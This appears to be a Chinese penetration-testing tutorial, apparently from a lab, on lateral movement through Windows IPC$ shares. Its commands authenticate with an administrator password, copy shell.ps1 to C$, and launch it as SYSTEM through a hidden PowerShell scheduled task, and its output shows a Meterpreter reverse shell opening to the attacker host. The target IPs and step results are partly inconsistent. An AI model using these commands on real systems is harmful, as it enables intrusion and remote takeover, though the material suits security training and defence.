

IPC\$横向

IPC\$介绍

IPC(Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc\$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

首先,需要建立一个ipc\$

```
net use \\192.168.18.10\ipc$ "密码" /user:administrator

C:\Users\administrator.HACK.000>net use \\192.168.41.30\ipc$ "Admin@123" /user:p
c-2003\administrator
命令成功完成。
```

```
net use

C:\Users\administrator.HACK.000>net use
会记录新的网络连接。

状态      本地      远程      网络
-----
OK          \\192.168.41.30\ipc$      Microsoft Windows Network
命令成功完成。
```

IPC\$利用条件

1、开启了139、445端口

ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445(Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。

2、管理员开启了默认共享

默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c\$、d\$、e\$等和系统目录 winnt或 windows(admin\$)通过ipc\$,可以实现对这些默认共享目录的访问

IPC\$连接失败原因

用户名或密码错误

目标没有打开ipcs默认共享

不能成功连接目标的139、445端口

IPC\$连接常见错误

错误号5:拒绝访问

错误号51: Windows无法找到网络路径,即网络中存在问题。

错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未启动目标有防火墙(端口过滤)

错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除

错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。

错误号1326:未知的用户名或错误的密码

错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)。

错误号2242:此用户的密码已经过期。例如,目标机器设置了账号管理策略,强制用户定期修改密码。

利用方式-windows自带命令

dir命令

在使用 netuse命令与远程目标机器建立ipcs后,可以使用dir命令列出远程主机中的文件,如图

```
dir \\192.168.18.10\c$
```

```
C:\Users\administrator.HACK.000>dir \\192.168.41.30\c$
驱动器 \\192.168.41.30\c$ 中的卷没有标签。
卷的序列号是 F837-9221
```

\\192.168.41.30\c\$ 的目录

```
2022/03/31  15:08                0 AUTOEXEC. BAT
2022/03/31  15:08                0 CONFIG. SYS
2022/03/31  15:28        <DIR>      Documents and Settings
2022/03/31  15:14        <DIR>      Program Files
2022/03/31  15:21        <DIR>      WINDOWS
2022/03/31  15:08        <DIR>      wmpub
                2 个文件                0 字节
                4 个目录 12,733,124,608 可用字节
```

tasklist命令

在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列出远程主机上运行的进程

```
tasklist /s 192.168.18.10
```

```
C:\Users\administrator.HACK.000>tasklist /s 192.168.41.30
```

映像名称	PID	会话名	会话#	内存使用
System Idle Process	0	Console	0	28 K
System	4	Console	0	296 K
smss.exe	292	Console	0	472 K
csrss.exe	344	Console	0	5,860 K
winlogon.exe	368	Console	0	2,900 K
services.exe	416	Console	0	4,704 K
lsass.exe	428	Console	0	8,232 K
vmacthlp.exe	612	Console	0	2,700 K
svchost.exe	632	Console	0	3,440 K
svchost.exe	700	Console	0	4,196 K
svchost.exe	760	Console	0	4,692 K
svchost.exe	788	Console	0	3,580 K
svchost.exe	824	Console	0	18,792 K
spoolsv.exe	988	Console	0	7,168 K
msdtc.exe	1016	Console	0	4,516 K
svchost.exe	1092	Console	0	2,228 K
svchost.exe	1168	Console	0	1,320 K
VGAAuthService.exe	1240	Console	0	9,220 K
vmtoolsd.exe	1272	Console	0	15,196 K
svchost.exe	1432	Console	0	4,168 K

利用方式-schtasks

(1) 查看系统时间

```
net time \\IP地址
```

```
C:\Users\administrator.HACK.000>net time \\192.168.41.30
\\192.168.41.30 的当前时间是 2022/4/14 0:29:59
```

命令成功完成。

(2) 复制文件

```
copy 文件 \\IP地址\C$
```

```
C:\Users\administrator.HACK.000>copy c:\shell.ps1 \\192.168.41.30\c$
已复制          1 个文件。
```

(3) 创建计划任务

```
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
```

```
C:\Users\administrator.HACK.000>schtasks /create /s 192.168.41.30 /tn test /sc on  
nstart /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden  
-ExecutionPolicy Bypass -NoExit -File C:\shell.ps1" /ru system /f  
错误：无法建立指定的帐户。
```

(4) 执行计划任务

```
schtasks /run /s IP地址 /i /tn "计划任务名"
```

```
C:\Users\administrator.HACK.000>schtasks /run /s 192.168.41.40 /i /tn "test"  
成功：尝试运行 "test"。
```

```
[*] Started HTTP reverse handler on http://192.168.41.129:3333  
[*] http://192.168.41.129:3333 handling request from 192.168.41.40; (UUID: tqezrzem) Staging x64 payloa  
d (202329 bytes) ...  
[*] Meterpreter session 1 opened (192.168.41.129:3333 → 192.168.41.40:52437) at 2022-04-14 01:32:27 +0  
800
```

```
meterpreter > █
```

(5) 删除计划任务

```
schtasks /delete /s IP地址 /tn "计划任务名" /f
```

```
C:\Users\administrator.HACK.000>schtasks /delete /s 192.168.41.40 /tn "test" /f  
成功：计划的任务 "test" 被成功删除。
```

(6) 清除IPC连接

```
net use \\IP /del /y
```